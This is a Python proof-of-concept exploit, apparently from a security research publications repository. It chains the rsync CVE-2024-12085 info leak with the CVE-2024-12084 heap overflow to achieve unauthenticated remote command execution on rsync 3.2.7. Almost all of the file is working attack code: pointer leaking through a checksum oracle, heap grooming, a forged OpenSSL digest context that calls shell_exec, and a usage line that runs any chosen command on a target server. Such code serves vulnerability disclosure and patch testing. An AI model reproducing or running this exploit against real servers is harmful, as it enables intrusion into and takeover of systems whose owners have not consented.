mirror of
https://github.com/califio/publications.git
synced 2026-09-25 21:03:35 +00:00
315 lines
13 KiB
Python
315 lines
13 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync.
|
|
|
|
Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle.
|
|
Phase 2 — Heap overflow: Single-connection write-what-where that plants a
|
|
fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp.
|
|
|
|
Trigger path (from OpenSSL 3.0.2 libcrypto disassembly):
|
|
sum_init() → EVP_DigestInit_ex(ctx_evp, ...) → EVP_MD_CTX_reset(ctx_evp)
|
|
→ internal_cleanup(ctx, 0, 0):
|
|
rdi = ctx[0x38] (algctx → command string)
|
|
rax = ctx[0x08] (digest → fake EVP_MD)
|
|
rax = digest[0xb0] (freectx → shell_exec)
|
|
call *rax → shell_exec(cmd)
|
|
|
|
Layout challenge: sum_buf entries are 40 bytes, but EVP_MD_CTX fields at
|
|
+0x08 and +0x38 are 48 bytes apart (48 not divisible by 40).
|
|
Solution: place fake_ctx at slot+6 so [0x08] uses sum1+chain (split 8-byte
|
|
write) and [0x38] lands on the next entry's sum2.
|
|
|
|
Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x.
|
|
Offsets are binary-specific — adjust the constants below.
|
|
|
|
Usage:
|
|
python3 poc_rce.py rsync://<host>:<port>/<module> '<command>'
|
|
"""
|
|
|
|
import struct, sys, time
|
|
import xxhash
|
|
import rsync_lib as R
|
|
|
|
# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) ──────────────
|
|
CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599
|
|
SHELL_EXEC_OFFSET = 0x2b970 # shell_exec()
|
|
CTX_EVP_OFFSET = 0x9dc28 # EVP_MD_CTX *ctx_evp
|
|
XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items
|
|
|
|
# ── OpenSSL 3.0.2 struct offsets (from disassembly) ─────────
|
|
# EVP_MD_CTX (72 = 0x48 bytes):
|
|
# +0x08 = digest (const EVP_MD*)
|
|
# +0x10 = engine (ENGINE*) — must be NULL
|
|
# +0x18 = flags (uint32) — must have 0x402 set
|
|
# +0x20 = md_data — must be NULL
|
|
# +0x28 = pctx — skipped if flags & 0x400
|
|
# +0x38 = algctx (void*) — 1st arg to freectx
|
|
# +0x40 = fetched_digest — must be NULL
|
|
#
|
|
# EVP_MD:
|
|
# +0xb0 = freectx function pointer
|
|
# +0x40 = cleanup callback — skipped if flags & 0x02
|
|
|
|
# ── Heap overflow constants ─────────────────────────────────
|
|
CHECKSUM_SEED = 1337
|
|
SUM_BUF_SIZE = 40
|
|
SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2)
|
|
TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7
|
|
|
|
|
|
def send_args(rc, compress=False):
|
|
rc.write_line('--server'); rc.write_line('--sender')
|
|
rc.write_line('--compress-choice=zlib' if compress else '--no-compress')
|
|
rc.write_line('--no-iconv')
|
|
rc.write_line(f'--checksum-seed={CHECKSUM_SEED}')
|
|
rc.write_line('--checksum')
|
|
for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group',
|
|
'--no-devices','--no-specials','--no-links','--no-hard-links',
|
|
'--no-acls','--no-inc-recursive']:
|
|
rc.write_line(o)
|
|
rc.write_line('-r'); rc.write_line('-e.v')
|
|
|
|
|
|
# ═══════════════════════════════════════════════════════════
|
|
# Phase 1 — Info Leak
|
|
# ═══════════════════════════════════════════════════════════
|
|
|
|
def leak_pointer(url):
|
|
rc = R.connect(url, '31', 'xxh64')
|
|
send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('')
|
|
rc.setup_protocol(); rc.write_raw_int(0)
|
|
files = rc.read_file_list()
|
|
tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17))
|
|
ti = files.index(tgt)
|
|
data = rc.download_file(ti, tgt); rc.close()
|
|
|
|
s1 = R.adler32_rsync(data)
|
|
h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data)
|
|
s2 = struct.pack('<Q', h.intdigest())
|
|
print(f"[*] Phase 1: info leak | file={tgt.name} size={tgt.size}")
|
|
|
|
for j in range(8):
|
|
for i in range(256):
|
|
try:
|
|
rc = R.connect(url, '31', 'xxh64')
|
|
send_args(rc, compress=True)
|
|
rc.write_line('.'); rc.write_line(rc.module+'/'); rc.write_line('')
|
|
rc.setup_protocol(); rc.write_raw_int(0); rc.read_file_list()
|
|
rc.write_ndx(ti); rc.write_short_int(R.ITEM_TRANSFER_FLAG)
|
|
ov = s2 + bytes([i])
|
|
rc.write_raw_int(3277); rc.write_raw_int(tgt.size)
|
|
rc.write_raw_int(len(ov)); rc.write_raw_int(0)
|
|
rc.write_bulk((struct.pack('<I', s1) + ov) * 3277)
|
|
rc.read_ndx(); rc.read_short_int()
|
|
rc.read_int(); rc.read_int(); rc.read_int(); rc.read_int()
|
|
sig, _ = rc.receive_deflate_token(); rc.close()
|
|
if sig < 0:
|
|
print(f" sum2[{8+j}] = 0x{i:02x}")
|
|
s2 += bytes([i]); break
|
|
except: continue
|
|
|
|
ptr = struct.unpack('<Q', s2[8:])[0]
|
|
base = ptr - CHECK_COMPRESSION_OFFSET
|
|
print(f"[+] Leaked .text ptr : 0x{ptr:x}")
|
|
print(f"[+] Binary base : 0x{base:x}")
|
|
return base, s1, tgt, ti
|
|
|
|
|
|
# ═══════════════════════════════════════════════════════════
|
|
# Phase 2 — Heap Overflow → RCE (Phrack approach)
|
|
# ═══════════════════════════════════════════════════════════
|
|
|
|
def do_rce(url, base, command, file_sum1, tgt, tgt_ndx):
|
|
"""
|
|
Single-connection overflow following the Phrack "one-shot" approach:
|
|
corrupt s->sums to point at &ctx_evp, set s->s2length to the full
|
|
payload size, then write a CONTIGUOUS payload in a single read_buf
|
|
call directly to .bss:
|
|
|
|
[ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string]
|
|
|
|
Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset
|
|
→ ctx->digest->freectx(ctx->algctx) → shell_exec(cmd)
|
|
"""
|
|
shell_exec = base + SHELL_EXEC_OFFSET
|
|
ctx_evp = base + CTX_EVP_OFFSET
|
|
|
|
print(f"\n[*] Phase 2: heap overflow → RCE")
|
|
print(f" shell_exec = 0x{shell_exec:x}")
|
|
print(f" ctx_evp = 0x{ctx_evp:x}")
|
|
|
|
# ── Build the contiguous .bss payload ────────────────
|
|
# Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length)
|
|
#
|
|
# Layout (offsets from &ctx_evp):
|
|
# 0x000: ctx_evp value → points to fake_ctx (at +8)
|
|
# 0x008: fake EVP_MD_CTX (72 bytes = 0x48)
|
|
# +0x08: digest → fake EVP_MD (at payload +0x50)
|
|
# +0x18: flags = 0x400 (skip pctx cleanup)
|
|
# +0x38: algctx → cmd string (at payload +0x50+0xb8)
|
|
# all others: 0
|
|
# 0x050: fake EVP_MD (need at least 0xb8 bytes)
|
|
# +0xb0: freectx = shell_exec
|
|
# all others: 0
|
|
# 0x108: command string + null terminator
|
|
|
|
fake_ctx_off = 8
|
|
fake_evp_md_off = fake_ctx_off + 0x48 # 0x50 = 80
|
|
cmd_off = fake_evp_md_off + 0xb8 # 0x108 = 264
|
|
|
|
cmd_bytes = command.encode('latin-1') + b'\x00'
|
|
payload_size = cmd_off + len(cmd_bytes)
|
|
|
|
fake_ctx_addr = ctx_evp + fake_ctx_off
|
|
fake_evp_md_addr = ctx_evp + fake_evp_md_off
|
|
cmd_addr = ctx_evp + cmd_off
|
|
|
|
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
|
|
|
|
payload = bytearray(payload_size)
|
|
|
|
# ctx_evp pointer → fake_ctx
|
|
struct.pack_into('<Q', payload, 0, fake_ctx_addr)
|
|
|
|
# Preserve critical globals that our payload overwrites in .bss:
|
|
# xfer_sum_nni at ctx_evp+0x30 — needed for sum_init to take the EVP path
|
|
struct.pack_into('<Q', payload, 0x30, xfer_sum_nni)
|
|
|
|
# fake EVP_MD_CTX fields (at +8)
|
|
struct.pack_into('<Q', payload, fake_ctx_off + 0x08, fake_evp_md_addr) # digest
|
|
struct.pack_into('<I', payload, fake_ctx_off + 0x18, 0x400) # flags
|
|
struct.pack_into('<Q', payload, fake_ctx_off + 0x38, cmd_addr) # algctx
|
|
|
|
# fake EVP_MD: only freectx at +0xb0 matters
|
|
struct.pack_into('<Q', payload, fake_evp_md_off + 0xb0, shell_exec)
|
|
|
|
# command string
|
|
payload[cmd_off:cmd_off + len(cmd_bytes)] = cmd_bytes
|
|
|
|
print(f" payload = {payload_size} bytes at &ctx_evp")
|
|
print(f" fake_ctx = 0x{fake_ctx_addr:x} (+{fake_ctx_off})")
|
|
print(f" fake_evpmd = 0x{fake_evp_md_addr:x} (+{fake_evp_md_off})")
|
|
print(f" cmd_addr = 0x{cmd_addr:x} (+{cmd_off})")
|
|
|
|
# ── Overflow: redirect sums + set s2length = payload_size ──
|
|
groom_count = 5
|
|
n_extra = 1 # just ONE extra entry
|
|
s2len_initial = 64
|
|
|
|
sums_base = ctx_evp - groom_count * SUM_BUF_SIZE - SUM_BUF_OFF
|
|
|
|
overflow_payload = bytearray(s2len_initial)
|
|
struct.pack_into('<Q', overflow_payload, 18, 0x31) # chunk metadata
|
|
off = 26
|
|
struct.pack_into('<Q', overflow_payload, off, 0) # flength
|
|
struct.pack_into('<Q', overflow_payload, off + 8, sums_base & 0xFFFFFFFFFFFFFFFF) # sums
|
|
struct.pack_into('<I', overflow_payload, off + 16, groom_count + n_extra) # count=6
|
|
struct.pack_into('<I', overflow_payload, off + 20, 1337) # blength
|
|
struct.pack_into('<I', overflow_payload, off + 24, 0) # remainder
|
|
struct.pack_into('<I', overflow_payload, off + 28, payload_size) # s2length!
|
|
|
|
# ── Connect and send ─────────────────────────────────
|
|
rc = R.connect(url, '31', 'sha1')
|
|
send_args(rc, compress=True)
|
|
|
|
# Tcache defragmentation: fill all bins so allocations come from wilderness
|
|
for sz in range(TCACHE_MIN, TCACHE_MAX + 1, TCACHE_STEP):
|
|
for _ in range(TCACHE_SLOTS * 2):
|
|
rc.write_line('-M-' + 'A' * (sz - 2))
|
|
|
|
rc.write_line('.'); rc.write_line('./'); rc.write_line('')
|
|
rc.setup_protocol()
|
|
|
|
# Heap grooming: single filter creates pattern(200B) + filter_rule(48B).
|
|
# Free with '!' pushes both to tcache. sum_struct(48B) lands right after
|
|
# sums(200B) giving us an 8-byte gap (chunk header only).
|
|
# NOTE: on our glibc 2.35, a second filter "+" a" creates an extra 48B
|
|
# chunk in the gap. Omitting it gives the correct diff=8 layout.
|
|
filt = '+ ' + 'Z' * (groom_count * SUM_BUF_SIZE - 1)
|
|
rc.write_raw_int(len(filt) + 1); rc.write_line(filt)
|
|
rc.write_raw_int(2); rc.write_line('!')
|
|
rc.write_raw_int(0)
|
|
|
|
files = rc.read_file_list()
|
|
ndx = next(i for i, f in enumerate(files) if R.is_reg(f.mode) and f.size > 0)
|
|
print(f" target ndx={ndx} file={files[ndx].name}")
|
|
rc.write_ndx(ndx)
|
|
rc.write_short_int(R.ITEM_TRANSFER_FLAG)
|
|
|
|
# ── Send sum head (for the initial grooming entries) ──
|
|
rc.write_raw_int(groom_count) # count = 5
|
|
rc.write_raw_int(1337) # blength
|
|
rc.write_raw_int(s2len_initial) # s2length = 64
|
|
rc.write_raw_int(0) # remainder
|
|
|
|
# ── Send grooming entries (all use the same overflow payload) ──
|
|
bulk = bytearray()
|
|
for j in range(groom_count):
|
|
bulk += struct.pack('<I', 0) # sum1 (don't care)
|
|
bulk += bytes(overflow_payload) # 64 bytes of sum2
|
|
rc.write_bulk(bytes(bulk))
|
|
|
|
# ── Send the ONE extra entry: sum1 (4B) + sum2 (payload) ──
|
|
print(f" sending payload ({payload_size} bytes) to &ctx_evp...")
|
|
ext_bulk = struct.pack('<I', 0) + bytes(payload)
|
|
rc.write_bulk(bytes(ext_bulk))
|
|
|
|
print(f" overflow complete, consuming server output...")
|
|
|
|
# ── Consume server output to unblock the trigger ─────
|
|
# After receive_sums, the server enters match_sums → hash_search →
|
|
# sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset →
|
|
# internal_cleanup → freectx(algctx) → shell_exec(cmd)
|
|
#
|
|
# We must read the server's echo (ndx + sum_head) so it doesn't
|
|
# block on write().
|
|
rc.sock.settimeout(10.0)
|
|
try:
|
|
# Read NDX echo + iflags
|
|
rc.read_ndx()
|
|
rc.read_short_int()
|
|
print(f" read ndx echo OK")
|
|
# Read sum head echo (count, blength, s2length, remainder)
|
|
echo_count = rc.read_int()
|
|
echo_bl = rc.read_int()
|
|
echo_s2 = rc.read_int()
|
|
echo_rem = rc.read_int()
|
|
print(f" sum head echo: count={echo_count} bl={echo_bl} "
|
|
f"s2={echo_s2} rem={echo_rem}")
|
|
|
|
# The server now enters match_sums → sum_init → trigger.
|
|
# shell_exec forks+exec's the command, then returns.
|
|
# Wait for any output or connection close.
|
|
time.sleep(3)
|
|
try:
|
|
while True:
|
|
d = rc.sock.recv(4096)
|
|
if not d:
|
|
break
|
|
except:
|
|
pass
|
|
except Exception as e:
|
|
print(f" server connection ended: {e}")
|
|
|
|
try:
|
|
rc.close()
|
|
except:
|
|
pass
|
|
|
|
time.sleep(1)
|
|
print(f"[+] Payload delivered — check if command executed.")
|
|
|
|
|
|
def main():
|
|
if len(sys.argv) < 3:
|
|
print(f"Usage: {sys.argv[0]} rsync://<host>:<port>/<module> '<command>'")
|
|
sys.exit(1)
|
|
url, command = sys.argv[1], sys.argv[2]
|
|
|
|
base, file_sum1, tgt, tgt_ndx = leak_pointer(url)
|
|
do_rce(url, base, command, file_sum1, tgt, tgt_ndx)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|